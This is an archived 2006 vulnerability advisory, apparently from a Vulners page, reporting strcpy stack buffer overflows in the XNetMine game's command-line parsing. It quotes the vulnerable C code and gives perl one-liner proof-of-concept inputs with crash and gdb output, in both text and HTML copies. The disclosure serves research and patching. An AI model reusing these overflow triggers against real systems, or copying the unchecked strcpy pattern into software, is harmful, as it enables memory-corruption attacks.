Vulners
Lucene search
XNetMine.txt
`This is a multi-part message in MIME format.
--------------070909050408080804050008
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
//
Vendor: Martin Bauer
Software: http://ibiblio.org/pub/Linux/games/multiplayer/XNetMine.tgz
*Vulnerable code:*
--
line: 672/676
if (strncmp("-PortNumber",argv[t+1],11)==0)
{ char text[500];
strcpy(text,argv[t+1]);
strcpy(Port,&text[11]);
}
--
line: 677/682
if (strncmp("-Name",argv[t+1],5)==0)
{
char text[500];
strcpy(text,argv[t+1]);
strcpy(User,&text[5]);
}
--
line: 683/688
if (strncmp("-ServerName",argv[t+1],11)==0)
{
char text[500];
strcpy(text,argv[t+1]);
strcpy(ServerName,&text[11]);
}
--
*Proof of concept:*
--
federico XNetMine % ./XNetMine -Server -PortNumber`perl -e 'print "A"x498'`
Server:1094795585 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAAAAA(...)
ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"
Segmentation fault
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name`perl -e 'print "A"x504'`
Server:1 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAA
Name:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)" ServerName:""
Segmentation fault
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name31337 -ServerName`perl -e 'print "A"x504'`
Server:1 Client:0 PortNum:31337
Name:"31337" ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"
Segmentation fault
--
*Debug information:*
--
(gdb) p $eip
$1 = (void (*)()) 0x804a862
(gdb) stepi
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
SIGSEGV 0x0804a862 in main ()
-- federico
[email protected] / http://defsol.plugs.it/
//
--------------070909050408080804050008
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<i><font><i>
<pre>Vendor: Martin Bauer
Software: <a class="moz-txt-link-freetext"
href="http://ibiblio.org/pub/Linux/games/multiplayer/XNetMine.tgz">http://ibiblio.org/pub/Linux/games/multiplayer/XNetMine.tgz</a>
<b>Vulnerable code:</b>
--
line: 672/676
if (strncmp("-PortNumber",argv[t+1],11)==0)
{ char text[500];
strcpy(text,argv[t+1]);
strcpy(Port,&text[11]);
}
--
line: 677/682
if (strncmp("-Name",argv[t+1],5)==0)
{
char text[500];
strcpy(text,argv[t+1]);
strcpy(User,&text[5]);
}
--
line: 683/688
if (strncmp("-ServerName",argv[t+1],11)==0)
{
char text[500];
strcpy(text,argv[t+1]);
strcpy(ServerName,&text[11]);
}
--
<b>Proof of concept:</b>
--
federico XNetMine % ./XNetMine -Server -PortNumber`perl -e 'print "A"x498'`
Server:1094795585 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAAAAA(...)
ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"
Segmentation fault
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name`perl -e 'print "A"x504'`
Server:1 Client:0 PortNum:AAAAAAAAAAAAAAAAAAAAAAAA
Name:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)" ServerName:""
Segmentation fault
federico XNetMine % ./XNetMine -Server -PortNumber31337 -Name31337 -ServerName`perl -e 'print "A"x504'`
Server:1 Client:0 PortNum:31337
Name:"31337" ServerName:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)"
Segmentation fault
--
<b>Debug information:</b>
--
(gdb) p $eip
$1 = (void (*)()) 0x804a862 <main+753>
(gdb) stepi
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
SIGSEGV 0x0804a862 in main ()
-- federico
<a class="moz-txt-link-abbreviated" href="mailto:[email protected]">[email protected]</a> / <a
class="moz-txt-link-freetext" href="http://defsol.plugs.it/">http://defsol.plugs.it/</a>
</main+753></pre>
</i></font></i>
</body>
</html>
--------------070909050408080804050008--
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Oct 2006 00:00Current
7.4High risk
Vulners AI Score7.4